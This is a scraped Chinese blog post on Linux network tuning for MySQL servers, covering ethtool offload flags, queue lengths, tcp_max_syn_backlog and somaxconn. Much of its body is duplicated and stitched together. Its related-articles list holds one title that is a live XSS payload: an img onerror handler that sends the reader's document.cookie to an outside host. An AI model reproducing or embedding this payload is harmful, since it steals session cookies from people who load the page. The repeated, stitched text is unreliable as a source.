MySQL 调优基础(五) Linux网络
2015-10-11 11:42
477 查看
1. TCP/IP模型
我们一般知道OSI的网络参考模型是分为7层:“应表会传网数物”——应用层,表示层,会话层,传输层,网络层,数据链路层,物理层。而实际的Linux网络层协议是参照了OSI标准,但是它实现为4层:应用层,传输层,网络层,网络接口层。OSI的多层对应到了实际实现中的一层。我们最为关注的是传输层和网络层。一般而言网络层也就是IP层,负责IP路由寻址等等细节,而传输层TCP/UDP负责数据的可靠/快速的传输功能。
View Code
ethtool -K eth0 rx on|off, ethtool -K eth0 tx on|off, ethtool -K eth0 tso on|off 进行修改
10.6 调大 接收队列和发送队列的大小:
1)接收队列:/proc/sys/net/core/netdev_max_backlog 对应内核参数:net.core.netdev_max_backlog
2)发送队列:
进行修改:ifconfig eth0 txqueuelen 20000
10.7 调大 SYN 半连接 [b]tcp_max_syn_backlog 数量[/b]
TCP三次握手建立连接时,被动打开方,有一个状态是SYN,
When the server is heavily loaded or has many clients with bad connections with high latency, it can result in an increase in half-open connections. This is common for Web servers, especially when there are a lot of dial-up users. These half-open connections are stored in the backlog connections queue. You should set this value to at least 4096. (The default is 1024.)
Setting this value is useful even if your server does not receive this kind of connection, because it can still be protected from a DoS (syn-flood) attack.
cat /proc/sys/net/ipv4/tcp_max_syn_backlog 对应内核参数: net.ipv4.tcp_max_syn_backlog,可以在/etc/sysctl.conf文件中配置。
sysctl -w net.ipv4.tcp_max_syn_backlog=4096
当服务器负载很重时,会导致很多的客户端的连接,服务器没有进行确认,所以就处在 SYN 状态,这就是所谓的半连接(half-open connection).半连接的数目由 tcp_max_syn_backlog 参数控制,增大它可以避免客户端的连接被拒绝,同时也能防御SYN洪水攻击。也就是可以容纳更多的等待连接的数量。
10.8 /proc/sys/net/core/somaxconn 和 net.core.somaxconn
该参数为完成3次握手,已经建立了连接,等待被accept然后进行处理的数量。默认为128,我们可以调整到 65535,甚至更大。也就是尅有容纳更多的等待处理的连接。
我们一般知道OSI的网络参考模型是分为7层:“应表会传网数物”——应用层,表示层,会话层,传输层,网络层,数据链路层,物理层。而实际的Linux网络层协议是参照了OSI标准,但是它实现为4层:应用层,传输层,网络层,网络接口层。OSI的多层对应到了实际实现中的一层。我们最为关注的是传输层和网络层。一般而言网络层也就是IP层,负责IP路由寻址等等细节,而传输层TCP/UDP负责数据的可靠/快速的传输功能。
[root@localhost ~]# ethtool --show-offload eth0 Features for eth0: rx-checksumming: on tx-checksumming: on tx-checksum-ipv4: off tx-checksum-unneeded: off tx-checksum-ip-generic: on tx-checksum-ipv6: off tx-checksum-fcoe-crc: off [fixed] tx-checksum-sctp: off [fixed] scatter-gather: on tx-scatter-gather: on tx-scatter-gather-fraglist: off [fixed] tcp-segmentation-offload: on tx-tcp-segmentation: on tx-tcp-ecn-segmentation: off tx-tcp6-segmentation: off udp-fragmentation-offload: off [fixed] generic-segmentation-offload: on generic-receive-offload: on large-receive-offload: off [fixed] rx-vlan-offload: on [fixed] tx-vlan-offload: on [fixed] ntuple-filters: off [fixed] receive-hashing: off [fixed] highdma: off [fixed] rx-vlan-filter: on [fixed] vlan-challenged: off [fixed] tx-lockless: off [fixed] netns-local: off [fixed] tx-gso-robust: off [fixed] tx-fcoe-segmentation: off [fixed] tx-gre-segmentation: off [fixed] tx-udp_tnl-segmentation: off [fixed] fcoe-mtu: off [fixed] loopback: off [fixed]
View Code
ethtool -K eth0 rx on|off, ethtool -K eth0 tx on|off, ethtool -K eth0 tso on|off 进行修改
10.6 调大 接收队列和发送队列的大小:
1)接收队列:/proc/sys/net/core/netdev_max_backlog 对应内核参数:net.core.netdev_max_backlog
2)发送队列:
[root@localhost ~]# ifconfig eth0 | grep txqueue collisions:0 txqueuelen:1000
进行修改:ifconfig eth0 txqueuelen 20000
10.7 调大 SYN 半连接 [b]tcp_max_syn_backlog 数量[/b]
TCP三次握手建立连接时,被动打开方,有一个状态是SYN,
When the server is heavily loaded or has many clients with bad connections with high latency, it can result in an increase in half-open connections. This is common for Web servers, especially when there are a lot of dial-up users. These half-open connections are stored in the backlog connections queue. You should set this value to at least 4096. (The default is 1024.)
Setting this value is useful even if your server does not receive this kind of connection, because it can still be protected from a DoS (syn-flood) attack.
cat /proc/sys/net/ipv4/tcp_max_syn_backlog 对应内核参数: net.ipv4.tcp_max_syn_backlog,可以在/etc/sysctl.conf文件中配置。
sysctl -w net.ipv4.tcp_max_syn_backlog=4096
当服务器负载很重时,会导致很多的客户端的连接,服务器没有进行确认,所以就处在 SYN 状态,这就是所谓的半连接(half-open connection).半连接的数目由 tcp_max_syn_backlog 参数控制,增大它可以避免客户端的连接被拒绝,同时也能防御SYN洪水攻击。也就是可以容纳更多的等待连接的数量。
10.8 /proc/sys/net/core/somaxconn 和 net.core.somaxconn
该参数为完成3次握手,已经建立了连接,等待被accept然后进行处理的数量。默认为128,我们可以调整到 65535,甚至更大。也就是尅有容纳更多的等待处理的连接。
相关文章推荐
- C++ 用libcurl库进行http通讯网络编程
- WCSP 2015 南京 空间信息网络相关论文
- VS2010 测试 -普通单元测试 http://www.cnblogs.com/rhythmK/archive/2012/04/20/2458832.html
- Java 网络编程----基本概念
- 网络各层设备
- 计算机网络之面试常考
- TCP/IP,HTTP,Socket的区别
- quick cocos2dx lua 网络图片 下载 自己主动更新
- AppleWatch真机调试问题:App Transport Security has blocked a cleartext HTTP(http://)resource load since...
- ios网络请求报错:the App Transport Security policy requires the use of a secure connection
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- TCP_NODELAY
- asynchttpclient源码分析
- android使用https安全连接
- com.microsoft.sqlserver.jdbc.SQLServerException: 到主机 的 TCP/IP 连接失败
- TCP和UDP的区别
- linux(ubuntu15.04)桌面右上角网络图标和输入法图标消失解决办法
- HTTP HTTPS POST GET(包含curl版本和winhttp两种实现)
- TCP/IP协议原理与应用笔记16:交换机和路由器区别
- 《深入理解Linux网络技术内幕》阅读笔记(二十三)